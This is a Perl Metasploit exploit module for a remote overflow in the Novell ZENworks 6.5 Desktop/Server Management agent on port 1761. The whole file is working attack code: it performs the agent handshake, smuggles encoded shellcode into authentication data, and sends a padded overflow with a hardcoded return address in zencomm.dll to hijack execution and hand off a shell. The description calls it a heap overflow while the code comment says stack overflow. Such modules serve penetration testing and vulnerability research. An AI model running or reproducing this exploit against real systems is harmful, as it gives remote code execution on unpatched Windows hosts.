package Msf::Exploit::zenworks_desktop_agent;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'ZENworks 6.5 Desktop/Server Management Remote Stack Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'Anonymous',
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2k', 'win2003' ],
'Priv' => 1,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 1761 ],
},

'Payload' =>
{
'Space' => 0x7FFF,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a heap overflow in the Novell ZENworks
Desktop Management agent.
}),

'Refs' =>
[
['BID', 13678],
], 

'Targets' =>
[
[ 'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent', 0x10002e06]
],

'Keys' => ['zenworks'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

my $req = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77";
$self->PrintLine( "[*] Sending version identication" );
$s->Send($req);

my $ident = $s->Recv(-1, 16);
if (length($ident) != 16)
{
$self->PrintLine( "[*] Failed to receive agent version identication" );
return;
}
else
{
$self->PrintLine( "[*] Received agent version identication" );
}

$req = "\x00\x01";
$self->PrintLine( "[*] Sending client acknowledgment" );
$s->Send($req);

# stack overflow in ZenRem32.exe / ZENworks Server Management

$req = "\x00\x06metmet\x00\x06metmet\x7F\xFF" . $shellcode . "\x00\x01";
$self->PrintLine( "[*] Sending authentication data (including shellcode)" );
$s->Send($req);

$s->Recv(2, 2);
$s->Send("\x00\x01");

#$s->Recv(2, 2);
#my $len = $s->Recv(2,2);
#$len = unpack ('n', $len);
#$s->Recv($len, $len);

$s->Send("\x00\x02");

$self->PrintLine( "[*] Sending final payload" );

# pop/pop/pop/pop/pop/ret in zencomm.dll on our shellcode
my $crash = "A" x 0x20;
$req = "\x00\x24" . $crash . pack('V', $target->[1]);
$s->Send($req);

$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
select(undef, undef, undef, 4);

$self->Handler($s);
return;
}

1;